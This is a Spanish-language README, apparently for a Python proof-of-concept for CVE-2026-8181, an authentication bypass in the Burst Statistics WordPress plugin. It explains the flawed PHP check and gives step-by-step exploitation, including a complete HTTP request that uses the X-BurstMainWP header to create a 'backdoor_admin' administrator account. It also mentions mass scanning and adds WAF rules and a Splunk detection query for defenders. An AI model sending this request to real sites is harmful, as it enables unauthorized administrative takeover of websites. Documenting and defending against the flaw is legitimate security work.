
PoC en Python para CVE-2026-8181, una omisión crítica de autenticación en el plugin Burst Statistics de WordPress. Incluye automatización de exploits, escaneo masivo y creación de cuentas de administrador para pruebas de seguridad autorizadas.
[!CAUTION] ALERTA CRÍTICA: Esta vulnerabilidad permite a un atacante remoto no autenticado eludir la autenticación y obtener privilegios completos de Administrador en el sitio WordPress objetivo simplemente inyectando una cabecera HTTP personalizada. Este CVE está siendo explotado activamente en la naturaleza.
CVE-2026-8181 es una vulnerabilidad crítica de bypass de autenticación que afecta al plugin Burst Statistics de WordPress (versiones 3.4.0 hasta 3.4.1.1). El fallo reside en la integración del proxy MainWP del plugin. Debido a una validación incorrecta de las contraseñas de aplicación durante el hook temprano plugins_loaded, el plugin concede incorrectamente contexto administrativo a las solicitudes a la API REST que incluyen la cabecera X-BurstMainWP: 1, incluso si la solicitud carece de credenciales válidas.
Esto transforma una simple solicitud HTTP no autenticada en una toma de control administrativa completa, evitando todos los mecanismos de autenticación estándar de WordPress.
Para entender cómo una cabecera simple otorga las llaves del reino, debemos analizar la lógica PHP dentro del manejador de autenticación del plugin.
La vulnerabilidad se deriva de una rama condicional mal gestionada en includes/Frontend/class-mainwp-proxy.php dentro del método is_mainwp_authenticated().
init() en plugins_loaded con prioridad 9. Esto es demasiado pronto en el ciclo de vida de WordPress.X-BurstMainWP: 1, has_admin_access() delega la autenticación a is_mainwp_authenticated().Authorization y reenvía las credenciales a wp_authenticate_application_password() del núcleo de WordPress.application_password_is_api_request a true (debido a la ejecución temprana del hook), la función del núcleo devuelve null en lugar de un objeto WP_Error.is_wp_error( $user ). Dado que null no es un WP_Error, la comprobación se supera.wp_set_current_user() usando el nombre de usuario proporcionado por el atacante, elevando instantáneamente la solicitud a contexto completo de administrador.// Representación simplificada del código vulnerable en Burst Statistics <= 3.4.1.1
$user = wp_authenticate_application_password( null, $username, $password );
if ( is_wp_error( $user ) ) {
return false; // Maneja correctamente fallos de autenticación explícitos
}
// 🚨 EL DEFECTO FATAL 🚨
// Si no se proporciona una contraseña de aplicación o la solicitud API aún no está marcada,
// wp_authenticate_application_password devuelve NULL.
// ¡El código no comprueba NULL!
if ( $user === null ) {
// En lugar de fallar de forma segura, cae en esta rama insegura:
$admin_user = get_user_by( 'login', $usuario_proporcionado_por_atacante );
wp_set_current_user( $admin_user->ID ); // ¡BUM!: ¡Contexto de administrador concedido!
return true;
}
Esta sección es para Red Teamers y Probadores de Penetración Autorizados.
/wp-content/plugins/burst-statistics/readme.txt).GET /wp-json/wp/v2/users. Si está bloqueado, usar el truco del archivo de autor: /?author=1.POST /wp-json/wp/v2/users.X-BurstMainWP: 1Authorization: Basic <base64(nombre_admin:contraseña_falsa)>null y promueve la solicitud al contexto de Administrador. El nuevo usuario administrador es creado.POST /wp-json/wp/v2/users HTTP/1.1
Host: target.com
X-BurstMainWP: 1
Authorization: Basic YWRtaW46ZmFrZV9wYXNzd29yZA==
Content-Type: application/json
{
"username": "backdoor_admin",
"password": "SuperSecretPassword123!",
"email": "[email protected]",
"roles": ["administrator"]
}
[!IMPORTANT] Advertencia Ambiental: Este exploit requiere que la cabecera
Authorizationllegue a PHP.
- Nginx / LiteSpeed / Apache con Permalinks Bonitos: La cabecera se reenvía. El exploit TIENE ÉXITO.
- Apache con Permalinks Planos (Predeterminado): La cabecera es eliminada silenciosamente por el servidor web. El exploit FALLA.
Esta sección es para Blue Teamers, Analistas de SOC y Administradores de Sistemas.
Bloquear o monitorizar la cabecera específica en el borde.
Regla ModSecurity / OWASP CRS:
SecRule REQUEST_HEADERS:X-BurstMainWP "@streq 1" \
"id:1000001, \
phase:1, \
deny, \
status:403, \
log, \
msg:'CVE-2026-8181: Intento de Bypass de Autenticación en Burst Statistics', \
tag:'CVE-2026-8181', \
severity:'CRITICAL'"
Regla Personalizada de Cloudflare WAF:
(http.request.headers["X-BurstMainWP"] eq "1")
Buscar en los logs del servidor web la presencia de la cabecera combinada con la creación de usuarios de la API REST.
Consulta Splunk / ELK:
index=web_logs ("X-BurstMainWP"="1" OR "x-burstmainwp"="1") AND uri="/wp-json/wp/v2/users" AND method="POST"
| stats count by src_ip, uri
| where count > 0
Si se sospecha de una brecha, buscar estos artefactos post-explotación: